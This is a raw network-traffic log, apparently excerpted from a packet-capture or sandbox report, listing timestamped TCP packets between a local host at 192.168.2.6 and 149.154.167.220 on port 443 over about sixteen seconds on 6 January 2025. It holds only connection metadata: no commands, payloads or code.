Jan 6, 2025 13:59:23.672676086 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.279501915 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.279881001 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.282396078 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.282399893 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.282635927 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.284940004 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.284997940 CET	443	62645	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.285124063 CET	62645	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.288049936 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.288094044 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.288202047 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.288373947 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.288388014 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.913587093 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.913686991 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.915198088 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.915210009 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.915458918 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.917145014 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.917181969 CET	443	62646	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.917246103 CET	62646	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.919707060 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.919738054 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:24.919801950 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.920006037 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:24.920011997 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.675523996 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.675627947 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.678050041 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.678055048 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.678282022 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.680643082 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.680675030 CET	443	62647	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.680742979 CET	62647	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.684990883 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.685034990 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:25.685094118 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.685344934 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:25.685357094 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.293467999 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.293538094 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.296255112 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.296262980 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.296526909 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.298146009 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.298181057 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.298335075 CET	443	62648	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.298346043 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.298367977 CET	62648	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.315593004 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.315633059 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.315702915 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.316734076 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.316752911 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.943078995 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.943159103 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.945916891 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.945933104 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.946223021 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.950084925 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.950134039 CET	443	62649	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.950187922 CET	62649	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.954790115 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.954840899 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:26.955029011 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.955230951 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:26.955243111 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.589900970 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.590013981 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.591489077 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.591500998 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.591759920 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.593415022 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.593450069 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.593617916 CET	443	62650	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.593678951 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.593697071 CET	62650	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.596213102 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.596256018 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:27.596338987 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.596554995 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:27.596570015 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.233622074 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.233701944 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.235971928 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.235982895 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.236246109 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.238143921 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.238194942 CET	443	62651	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.238296032 CET	62651	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.240978956 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.241019011 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.241080999 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.241297007 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.241314888 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.861813068 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.861888885 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.863590956 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.863601923 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.863848925 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.866395950 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.866434097 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.866597891 CET	443	62652	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.866648912 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.866662979 CET	62652	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.868537903 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.868578911 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:28.868639946 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.868921995 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:28.868933916 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.492348909 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.492459059 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.511336088 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.511363983 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.511616945 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.519295931 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.519335985 CET	443	62653	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.519393921 CET	62653	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.601181030 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.601226091 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:29.601316929 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.607438087 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:29.607453108 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.216146946 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.216283083 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.217694044 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.217705011 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.217930079 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.219531059 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.219569921 CET	443	62654	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.219634056 CET	62654	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.222110987 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.222157001 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.222445965 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.222687006 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.222700119 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.874182940 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.874325991 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.876354933 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.876368046 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.876627922 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.878581047 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.878624916 CET	443	62655	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.878683090 CET	62655	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.881740093 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.881771088 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:30.882070065 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.882311106 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:30.882322073 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.501178980 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.501270056 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.503021002 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.503031015 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.503271103 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.505100012 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.505131960 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.505260944 CET	443	62656	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.505314112 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.505326986 CET	62656	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.508039951 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.508091927 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:31.508322001 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.508583069 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:31.508595943 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.136677027 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.136770010 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.160695076 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.160715103 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.161016941 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.165618896 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.165672064 CET	443	62657	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.165720940 CET	62657	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.197436094 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.197479010 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.197541952 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.198440075 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.198451042 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.814162016 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.814310074 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.815721989 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.815732002 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.817586899 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.820070982 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.820126057 CET	443	62658	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.820193052 CET	62658	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.838504076 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.838542938 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:32.838644028 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.838917971 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:32.838933945 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.455841064 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.455945015 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.457701921 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.457715034 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.458080053 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.459815025 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.459886074 CET	443	62659	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.459992886 CET	62659	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.462376118 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.462416887 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:33.462537050 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.462766886 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:33.462788105 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.092014074 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.092103958 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.094672918 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.094681978 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.094934940 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.096932888 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.096975088 CET	443	62660	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.097119093 CET	62660	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.099773884 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.099822998 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.099910975 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.100234985 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.100248098 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.728662014 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.728732109 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.730509996 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.730521917 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.730791092 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.732419014 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.732454062 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.732601881 CET	443	62661	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.732657909 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.732671976 CET	62661	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.736264944 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.736299992 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:34.736367941 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.736639977 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:34.736653090 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.355916977 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.356019020 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.357836008 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.357846975 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.358102083 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.360354900 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.360394955 CET	443	62662	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.360455990 CET	62662	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.362982035 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.363025904 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:35.363120079 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.363471031 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:35.363481998 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.111618996 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.111752987 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.113353968 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.113368988 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.113641024 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.115397930 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.115427017 CET	443	62663	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.115505934 CET	62663	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.118066072 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.118099928 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.118460894 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.118679047 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.118684053 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.742180109 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.742275953 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.743824959 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.743829966 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.744064093 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.745785952 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.745810032 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.745959044 CET	443	62664	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.745989084 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.746032953 CET	62664	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.748806953 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.748843908 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:36.749089003 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.749317884 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:36.749332905 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.374826908 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.375046015 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.376477003 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.376491070 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.376733065 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.380132914 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.380172968 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.380322933 CET	443	62665	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.380393028 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.380408049 CET	62665	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.382797956 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.382832050 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:37.386471033 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.386678934 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:37.386686087 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.013117075 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.013200998 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.015697002 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.015707970 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.015974045 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.018563032 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.018601894 CET	443	62666	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.018682957 CET	62666	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.022223949 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.022283077 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.022360086 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.022639036 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.022655010 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.642301083 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.642478943 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.644043922 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.644057035 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.644310951 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.646821022 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.646867990 CET	443	62667	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.646929979 CET	62667	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.650224924 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.650276899 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:38.650378942 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.650804996 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:38.650821924 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.268049955 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.268147945 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.270342112 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.270353079 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.270616055 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.273010015 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.273050070 CET	443	62668	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.273102045 CET	62668	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.276001930 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.276050091 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.276149988 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.276520014 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.276530027 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.909588099 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.909660101 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.911633015 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.911643028 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.911927938 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.913667917 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.913701057 CET	443	62669	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.913753033 CET	62669	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.916902065 CET	62670	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.916941881 CET	443	62670	149.154.167.220	192.168.2.6
Jan 6, 2025 13:59:39.917005062 CET	62670	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.917259932 CET	62670	443	192.168.2.6	149.154.167.220
Jan 6, 2025 13:59:39.917277098 CET	443	62670	149.154.167.220	192.168.2.6
